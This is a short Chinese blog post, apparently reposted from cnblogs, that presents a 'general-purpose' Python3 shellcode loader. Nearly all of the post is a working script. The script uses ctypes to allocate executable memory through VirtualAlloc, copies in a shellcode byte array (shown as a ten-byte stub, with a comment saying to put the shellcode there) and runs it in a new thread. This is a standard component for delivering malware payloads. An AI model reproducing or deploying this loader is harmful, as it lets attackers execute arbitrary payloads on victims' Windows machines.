shellcode加载器编写

Python3 shellcode通用加载器

#!/usr/bin/python3
import ctypes

#shellcode 放这个位置
c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"

shellcode = bytearray(c)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

标签：int,windll,kernel32,ctypes,编写,shellcode,ptr,加载
来源： https://www.cnblogs.com/miruier/p/14034247.html